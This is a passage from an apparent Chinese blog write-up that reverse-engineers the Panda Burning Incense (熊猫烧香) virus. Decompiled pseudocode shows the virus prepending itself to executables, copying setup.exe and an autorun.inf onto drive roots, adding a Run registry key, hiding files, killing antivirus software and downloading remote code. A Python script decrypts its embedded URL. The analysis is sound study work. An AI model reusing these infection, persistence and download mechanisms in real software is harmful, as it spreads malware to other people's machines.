Mxdsql::ShowSQLWindow(v101, v84);
System::__linkproc__ LStrCatN(&v83, 3);
lpFileName_3 = (const CHAR *)System::__linkproc__ LStrToPChar(v83);
SetFileAttributesA(lpFileName_3, dwFileAttributes_2);
Sleep(1u);
goto LABEL_32;
}
System::__linkproc__ LStrCat3(&v89, n128_1, System::AnsiString);
sub_4087E8(v89); // 另一个自循环

sub_407f00

看到这个0xa00000警觉起来,大于10Mb大小的文件没有被感染,于是猜测感染的核心代码就在附近

最终定位到函数sub_0x7f00

分析感染行为,在被感染程序前插入源病毒,文件尾加上特征后缀”whboy”+被感染程序原名称+”.exe”+”\x02”+文件大小+“\x01”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
int __usercall sub_407F00@<eax>(int a1@<eax>, int Buffer@<ebx>, int Servername@<edi>, int a4@<esi>)
{
char v4; // zf
const CHAR *lpFileName; // ebx
const CHAR *lpExistingFileName; // eax
int v7; // eax
int v8; // eax
int v9; // eax
int v10; // eax
int v11; // eax
int v12; // eax
int v13; // eax
unsigned int v15[3]; // [esp-18h] [ebp-214h] BYREF
unsigned int v16[2]; // [esp-Ch] [ebp-208h] BYREF
int *v17; // [esp-4h] [ebp-200h]
int v18; // [esp+Ch] [ebp-1F0h] BYREF
int v19; // [esp+10h] [ebp-1ECh] BYREF
int v20; // [esp+14h] [ebp-1E8h]
int v21; // [esp+18h] [ebp-1E4h]
int v22; // [esp+1Ch] [ebp-1E0h] BYREF
_BYTE v23[460]; // [esp+20h] [ebp-1DCh] BYREF
int v24; // [esp+1ECh] [ebp-10h] BYREF
int v25; // [esp+1F0h] [ebp-Ch] BYREF
_BYTE *v26; // [esp+1F4h] [ebp-8h] BYREF
int v27; // [esp+1F8h] [ebp-4h]
int savedregs; // [esp+1FCh] [ebp+0h] BYREF

v19 = 0;
v18 = 0;
v20 = 0;
v21 = 0;
v22 = 0;
v26 = 0;
v25 = 0;
v24 = 0;
v27 = a1;
System::__linkproc__ LStrAddRef(a1);
v17 = &savedregs;
v16[1] = (unsigned int)&loc_408145;
v16[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v16);
v15[2] = (unsigned int)&savedregs;
v15[1] = (unsigned int)&loc_408110;
v15[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v15);
sub_405534(v27, &v22); // 读取目标程序文件名
if ( !(unsigned __int8)sub_4077B4(v22) )
{
System::Randomize();
System::ParamStr(0); // 获取源病毒程序路径
System::__linkproc__ LStrCmp(v27, v21); // 比较,若不相等
if ( !v4 )
{
System::__linkproc__ LStrClr(&v26);
sub_407650(v27, (int *)&v26, Buffer, Servername, a4);// 读取要感染的文件内容到内存中
if ( v26 )
{
if ( (int)__linkproc__ LStrPos(
aWhboy, // "WhBoy"
v26) <= 0 )
{
lpFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v27);
SetFileAttributesA(lpFileName, 0x80u);// 设置文件属性为正常
Sleep(1u);
System::ParamStr(0);
lpExistingFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v20);
if ( CopyFileA(lpExistingFileName, lpFileName, 0) )// 把源病毒程序复制给目标程序,此时完成感染
{
sub_405534(v27, &v19);
v7 = unknown_libname_113((int)v26);
sub_40576C(v7, (int)&v18);
System::__linkproc__ LStrCatN(&v24, 6);
System::__linkproc__ LStrLAsg(&v25, v26);
System::__linkproc__ Assign(v23, v27);
*off_40E2BC = 2;
v8 = System::__linkproc__ Append(v23);
System::__linkproc__ _IOTest(v8);
v9 = System::__linkproc__ WriteLString((int)v23, v25);// 把源文件内容接着写到被感染文件的后面
v10 = System::__linkproc__ Flush(v9);
System::__linkproc__ _IOTest(v10);
v11 = System::__linkproc__ WriteLString((int)v23, v24);// 写入后缀,格式为"whboy"+被感染程序原名称+".exe"+"\x02"+文件大小+“\x01"
v12 = System::__linkproc__ Flush(v11);
System::__linkproc__ _IOTest(v12);
v13 = System::__linkproc__ Close(v23);
System::__linkproc__ _IOTest(v13);
}
}
}
}
}
__writefsdword(0, v15[0]);
__writefsdword(0, v16[0]);
System::__linkproc__ LStrArrayClr(&loc_40814C);
return System::__linkproc__ LStrArrayClr(v17);
}

sub_40c374

设置了一个定时器,点进去看看

sub_40bc88

本函数的功能为遍历盘符,获取可用的,故重命名为GetRootPath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __usercall GetRootPath@<eax>(
int a1@<eax>,
unsigned int a2@<ebx>,
unsigned int a3@<edi>,
unsigned int lpFileName@<esi>)
{
int i; // esi
const CHAR *lpRootPathName; // eax
__int16 DriveTypeA; // ax
unsigned int v9[6]; // [esp-18h] [ebp-24h] BYREF
int v10; // [esp+0h] [ebp-Ch] BYREF
int v11; // [esp+4h] [ebp-8h] BYREF
int v12; // [esp+8h] [ebp-4h] BYREF
int savedregs; // [esp+Ch] [ebp+0h] BYREF

v12 = 0;
v11 = 0;
v10 = 0;
v9[5] = a2;
v9[4] = lpFileName;
v9[3] = a3;
v9[2] = (unsigned int)&savedregs;
v9[1] = (unsigned int)&loc_40BD18;
v9[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v9);
for ( i = 0; i != 26; ++i ) // 遍历盘符A-Z
{
unknown_libname_108((int)&v11);
System::__linkproc__ LStrCat3(&v12, v11, sub_40BD30);
lpRootPathName = (const CHAR *)System::__linkproc__ LStrToPChar(v12);
DriveTypeA = GetDriveTypeA(lpRootPathName); // 获取盘符属性
if ( DriveTypeA == 3 || DriveTypeA == 4 || DriveTypeA == 2 )// DriveTypeA == 3 || DriveTypeA == 4 || DriveTypeA == 2(即 DRIVE_FIXED、DRIVE_REMOTE、DRIVE_REMOVABLE)
// 盘符属性符合则记录
{
unknown_libname_108((int)&v10);
System::__linkproc__ LStrCat(a1, v10);
}
}
__writefsdword(0, v9[0]);
return System::__linkproc__ LStrArrayClr(&loc_40BD1F);
}

sub_40bd34

此函数的作用是打开文件并读取进程序内存,故重命名为OpenAndRead_File

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __usercall OpenAndRead_File@<eax>(
int System::AnsiString@<eax>,
int *a2@<edx>,
int __strlen@<ebx>,
int a4@<edi>,
int lpFileName@<esi>)
{
int v6; // eax
int v7; // eax
int v8; // esi
int v9; // eax
int v10; // eax
int v11; // eax
unsigned int v13[3]; // [esp-24h] [ebp-517Ch] BYREF
unsigned int v14[2]; // [esp-18h] [ebp-5170h] BYREF
int *v15; // [esp-10h] [ebp-5168h]
int v16; // [esp-Ch] [ebp-5164h]
int lpFileName_1; // [esp-8h] [ebp-5160h]
int __strlen_1; // [esp-4h] [ebp-515Ch]
int v19; // [esp+0h] [ebp-5158h] BYREF
_BYTE v20[20480]; // [esp+4h] [ebp-5154h] BYREF
_BYTE v21[332]; // [esp+5004h] [ebp-154h] BYREF
_BYTE v22[4]; // [esp+5150h] [ebp-8h] BYREF
int System::AnsiString_1; // [esp+5154h] [ebp-4h] BYREF
int savedregs; // [esp+5158h] [ebp+0h] BYREF

__strlen_1 = __strlen;
lpFileName_1 = lpFileName;
v16 = a4;
v19 = 0;
System::AnsiString_1 = System::AnsiString;
System::__linkproc__ LStrAddRef(System::AnsiString);
v15 = &savedregs;
v14[1] = (unsigned int)&loc_40BE6D;
v14[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v14);
v13[2] = (unsigned int)&savedregs;
v13[1] = (unsigned int)&loc_40BE42;
v13[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v13);
System::__linkproc__ LStrClr(a2);
System::__linkproc__ Assign(v21, System::AnsiString_1);
*off_40E2BC = 0;
v6 = System::__linkproc__ ResetFile(v21, 1);
System::__linkproc__ _IOTest(v6);
v7 = System::__linkproc__ FileSize(v21);
v8 = System::__linkproc__ _IOTest(v7);
while ( 1 )
{
v10 = System::__linkproc__ EofFile(v21);
if ( (unsigned __int8)System::__linkproc__ _IOTest(v10) )
break;
v9 = System::__linkproc__ BlockRead(v22);
System::__linkproc__ _IOTest(v9);
System::__linkproc__ LStrFromPCharLen(&v19, v20, 20480);
System::__linkproc__ LStrCat(a2, v19);
}
v11 = System::__linkproc__ Close(v21);
System::__linkproc__ _IOTest(v11);
if ( v8 < unknown_libname_113(*a2) )
System::__linkproc__ LStrCopy(a2);
__writefsdword(0, v13[0]);
__writefsdword(0, v14[0]);
v15 = (int *)&loc_40BE74;
System::__linkproc__ LStrClr(&v19);
return System::__linkproc__ LStrClr(&System::AnsiString_1);
}

具体行为就是在盘符根目录(不包括A、B盘符)创建setup.exe以及autorun.inf

setup.exe内容和病毒源文件相同

autorun.inf内容为,目的是在插入媒介(通常是光盘或曾被利用的 U 盘)时提示或尝试自动运行同目录下的 setup.exe

推测为感染可移动介质的手段

1
2
3
4
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
v26 = &savedregs;
v25[1] = (unsigned int)&loc_40C2C6;
v25[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v25);
v24[2] = (unsigned int)&savedregs;
v24[1] = (unsigned int)&loc_40C291;
v24[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v24); // SEH设置完成
System::__linkproc__ LStrClr(&v40);
System::__linkproc__ LStrClr(&System::AnsiString);
System::__linkproc__ LStrClr(&System::AnsiString_1);// 字符串释放完毕
GetRootPath((int)&v40, a1, a2, (unsigned int)lpFileName);// 获取可利用的根目录
if ( v40 )
{
__strlen = unknown_libname_113(v40); // 等于strlen
if ( __strlen >= 1 )
{
do // 对可利用的盘符根目录循环操作,排除A、B盘符
{
unknown_libname_108((int)v33);
Sysutils::AnsiUpperCase(v33[0]); // 全大写
v22 = (_BYTE *)v33[1];
Sysutils::AnsiUpperCase((const int)System::AnsiString_10);
if ( !__linkproc__ LStrPos((_BYTE *)v32[2], v22) )// 排除A、B
{
unknown_libname_108((int)v32);
Sysutils::AnsiUpperCase(v32[0]);
v23 = (_BYTE *)v32[1];
Sysutils::AnsiUpperCase((const int)System::AnsiString_11);
if ( !__linkproc__ LStrPos((_BYTE *)v31[1], v23) )
{
unknown_libname_108((int)v31);
System::__linkproc__ LStrCat3(&System::AnsiString, v31[0], aSetupExe_0);// ":\\setup.exe"
unknown_libname_108((int)&v30);
System::__linkproc__ LStrCat3(&System::AnsiString_1, v30, aAutorunInf);// ":\\autorun.inf"
if ( (unsigned __int8)Sysutils::FileExists(System::AnsiString) )// 判断C:\\setup.exe是否存在,若存在,进入以下if分支
{
System::ParamStr(0);
OpenAndRead_File(v29[1], &v37, __strlen, a2, (int)lpFileName);// 打开并读取C:\Windows\System32\drivers\spo0lsv.exe
OpenAndRead_File(System::AnsiString, &v36, __strlen, a2, (int)lpFileName);// 打开并读取C:\\setup.exe
System::__linkproc__ LStrCmp(v37, v36);// 比较已存在的C:\\setup.exe和C:\Windows\System32\drivers\spo0lsv.exe的内容是否相同,不同,则删除原C:\\setup.exe,把C:\Windows\System32\drivers\spo0lsv.exe复制过来
if ( !v4 )
{
lpFileName = (const CHAR *)System::__linkproc__ LStrToPChar(System::AnsiString);
SetFileAttributesA(lpFileName, 0x80u);
if ( !DeleteFileA(lpFileName) )
break;
unknown_libname_108((int)v29);
System::__linkproc__ LStrCat(v29, aSetupExe_0);// ":\\setup.exe"
lpNewFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v29[0]);
System::ParamStr(0);
lpExistingFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v28[1]);
if ( !CopyFileA(lpExistingFileName, lpNewFileName, 0) )
break;
}
}
else // 若C:\\setup.exe不存在
{
unknown_libname_108((int)v28);
System::__linkproc__ LStrCat(v28, aSetupExe_0);// ":\\setup.exe"
lpNewFileName_1 = (const CHAR *)System::__linkproc__ LStrToPChar(v28[0]);
System::ParamStr(0);
lpExistingFileName_1 = (const CHAR *)System::__linkproc__ LStrToPChar(v27[1]);
if ( !CopyFileA(lpExistingFileName_1, lpNewFileName_1, 0) )
break;
}
if ( (unsigned __int8)Sysutils::FileExists(System::AnsiString_1) )// 判断C:\\autorun.inf是否存在,具体逻辑同上
{ // 若存在
OpenAndRead_File(System::AnsiString_1, &v35, __strlen, a2, (int)lpFileName);
System::__linkproc__ LStrCmp(v35, aAutorunOpenSet);// 已存在的C:\\autorun.inf其内容是否等于"[AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\\Auto\\command=setup.exe\r\n"
if ( !v4 ) // 若不等,则删除,重新创建写入
{
lpFileName = (const CHAR *)System::__linkproc__ LStrToPChar(System::AnsiString_1);
SetFileAttributesA(lpFileName, 0x80u);
if ( !DeleteFileA(lpFileName) )
break;
FileA_0 = CreateFileA_0(lpFileName, 0x40000000u, 0, 0, 2u, 0, 0);
CloseHandle_0(FileA_0);
System::__linkproc__ Assign(v34, System::AnsiString_1);
*off_40E2BC = 2;
v8 = System::__linkproc__ Append(v34);
System::__linkproc__ _IOTest(v8);
_[AutoRun]_r_nOPEN_setup.exe_r_nshellexecute_setup.exe_r_nshell = System::__linkproc__ WriteLString(
(int)v34,
(int)aAutorunOpenSet);// "[AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\\Auto\\command=setup.exe\r\n"
v10 = System::__linkproc__ Flush(_[AutoRun]_r_nOPEN_setup.exe_r_nshellexecute_setup.exe_r_nshell);
System::__linkproc__ _IOTest(v10);
v11 = System::__linkproc__ Close(v34);
System::__linkproc__ _IOTest(v11);
}
}
else // 不存在,直接创建写入
{
lpFileName_1 = (const CHAR *)System::__linkproc__ LStrToPChar(System::AnsiString_1);
hObject = CreateFileA_0(lpFileName_1, 0x40000000u, 0, 0, 2u, 0, 0);
CloseHandle_0(hObject);
System::__linkproc__ Assign(v34, System::AnsiString_1);
*off_40E2BC = 2;
v14 = System::__linkproc__ Append(v34);
System::__linkproc__ _IOTest(v14);
_[AutoRun]_r_nOPEN_setup.exe_r_nshellexecute_setup.exe_r_nshell_1 = System::__linkproc__ WriteLString(
(int)v34,
(int)aAutorunOpenSet);// "[AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\\Auto\\command=setup.exe\r\n"
v16 = System::__linkproc__ Flush(_[AutoRun]_r_nOPEN_setup.exe_r_nshellexecute_setup.exe_r_nshell_1);
System::__linkproc__ _IOTest(v16);
v17 = System::__linkproc__ Close(v34);
System::__linkproc__ _IOTest(v17);
}
unknown_libname_108((int)v27); // 设置文件属性
System::__linkproc__ LStrCat(v27, aSetupExe_0);// ":\\setup.exe"
lpFileName_2 = (const CHAR *)System::__linkproc__ LStrToPChar(v27[0]);
SetFileAttributesA(lpFileName_2, 7u);
lpFileName_3 = (const CHAR *)System::__linkproc__ LStrToPChar(System::AnsiString_1);
SetFileAttributesA(lpFileName_3, 7u);
}
}
--__strlen;
}
while ( __strlen );
}
}
__writefsdword(0, v24[0]);
__writefsdword(0, v25[0]);
System::__linkproc__ LStrArrayClr(&loc_40C2CD);// 清空字符串数组
System::__linkproc__ LStrArrayClr(v26);
}

sub_40BACC

此处开始一个线程

点进sub_40ba8c,再进入sub_40b864

很明显的网络行为

具体流程

sub_40d088

设置了6个定时器,最短的1秒,最长的30分钟

sub_40CEE4

主要是修改注册表启动项的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __stdcall sub_40CEE4()
{
_DWORD v0[2]; // [esp-Ch] [ebp-14h] BYREF
int *v1; // [esp-4h] [ebp-Ch]
unsigned int v2; // [esp+0h] [ebp-8h] BYREF
int v3; // [esp+4h] [ebp-4h] BYREF
int savedregs; // [esp+8h] [ebp+0h] BYREF

v3 = 0;
v2 = 0;
v1 = &savedregs;
v0[1] = &loc_40CF69;
v0[0] = NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v0);
sub_406E2C(v0[0], &loc_40CF69, &savedregs); // 杀软检测并关闭
GetSystemDirectory((int *)&v2); // 返回C:\Windows\System32
System::__linkproc__ LStrCatN(&v3, 3); // 得到源病毒路径
v1 = (int *)System::__linkproc__ LStrToPChar(v3);
sub_4051BC( // 将源病毒路径写入启动项
(LPCSTR)0x80000001,
aSoftwareMicros, // "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
(BYTE *)aSvcshare); // "svcshare"
sub_4059F0( // 将文件属性设置为隐藏
-2147483646,
SOFTWARE__Microsoft__Windows__CurrentVersion__Explorer__Advance,// "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\CheckedValue"
0);
__writefsdword(0, v2);
System::__linkproc__ LStrArrayClr(&loc_40CF70);
}

sub_40d040

套娃

创建线程sub_40c9b0,进去看看

内部的功能是访问一个url,下载恶意代码并执行

这个url是加密后硬编码在程序中

sub_40c4ec

进入这个解密函数看看,伪代码层面看不出来加密过程,需要看汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __usercall decode_url@<eax>(
int a1@<eax>,
int a2@<edx>,
unsigned int a3@<ebx>,
unsigned int a4@<edi>,
unsigned int a5@<esi>)
{
int v5; // esi
int v6; // ebx
unsigned int v8[6]; // [esp-18h] [ebp-2Ch] BYREF
int v9; // [esp+0h] [ebp-14h] BYREF
int v10; // [esp+4h] [ebp-10h] BYREF
int v11; // [esp+8h] [ebp-Ch] BYREF
int v12; // [esp+Ch] [ebp-8h]
int encryp_url; // [esp+10h] [ebp-4h] BYREF
int savedregs; // [esp+14h] [ebp+0h] BYREF

v11 = 0;
v10 = 0;
v9 = 0;
v8[5] = a3;
v8[4] = a5;
v8[3] = a4;
v12 = a2;
encryp_url = a1;
System::__linkproc__ LStrAddRef(a1);
v8[2] = (unsigned int)&savedregs;
v8[1] = (unsigned int)&loc_40C5C1;
v8[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v8);
if ( encryp_url )
{
System::__linkproc__ LStrLAsg(&v10, aXboy); // "xboy"
System::__linkproc__ LStrClr(&v11); // 申请一个字符串空间
v5 = unknown_libname_113(encryp_url); // 加密url的长度
if ( v5 > 0 )
{
v6 = 1;
do
{
unknown_libname_113(v10); // "xboy"的长度4
unknown_libname_108((int)&v9);
System::__linkproc__ LStrCat(&v11, v9);
++v6;
--v5;
}
while ( v5 );
}
System::__linkproc__ LStrAsg(v12, v11);
}
else
{
System::__linkproc__ LStrClr(v12);
}
__writefsdword(0, v8[0]);
System::__linkproc__ LStrArrayClr(&loc_40C5C8);
return System::__linkproc__ LStrClr(&encryp_url);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
seg000:0040C550                 call    unknown_libname_113 ; BDS 2005-2007 and Delphi6-7 Visual Component Library
seg000:0040C550 ; Delphi 5 Visual Component Library
seg000:0040C555 push eax
seg000:0040C556 mov eax, ebx
seg000:0040C558 pop edx
seg000:0040C559 mov ecx, edx
seg000:0040C55B cdq
seg000:0040C55C idiv ecx
seg000:0040C55E mov edi, edx
seg000:0040C560 inc edi
seg000:0040C561 mov eax, [ebp+var_10]
seg000:0040C564 movzx eax, byte ptr [eax+edi-1]
seg000:0040C569 mov ecx, 0Ah
seg000:0040C56E xor edx, edx
seg000:0040C570 div ecx
seg000:0040C572 mov eax, [ebp+encryp_url]
seg000:0040C575 movzx eax, byte ptr [eax+ebx-1]
seg000:0040C57A xor edx, eax
seg000:0040C57C lea eax, [ebp+var_14]

给出python的解密脚本

1
2
3
4
5
6
7
8
key = "xboy"
encrypt_data =
decode_data = []
magic_num = 10
for i in range(len(encrypt_data)):
decode_data.append(chr((ord(key[(i+1)%4]) % magic_num) ^ encrypt_data[i]))

print("".join(decode_data))

sub_40d048

创建两个线程,第一个和sub_40d040一样;第二个则是关闭网络共享

sub_40cdec

sub_407430

套娃

停止、删除windwos服务,删除杀软启动项

sub_40cc4c

访问几个常见网站

sub_40c728

同样的下载恶意代码并执行,就是url不一样

具体流程

流程图

0xff.写在最后

笔者花了两天时间,粗略的把这个老古董给分析了一下

挺有意思的,“小而精致”用来评价熊猫烧香鼠鼠觉得没啥大问题

同时笔者也有借口两天不看行测申论这种ex玩意了😋

还是喜欢这种兴趣主导的学习😭😭😭😭

但是鼠鼠还是没解决怎么5.0的火绒剑一跑就崩的问题👊

Refer

经典病毒分析——熊猫烧香 - 吾爱破解 - 52pojie.cn

xiongmao/熊猫烧香_analysis.zip at main · Korey0sh1/xiongmao笔者把文件打包好了😋


熊猫烧香
http://example.com/2025/09/30/熊猫烧香/
作者
korey0sh1
发布于
2025年9月30日
许可协议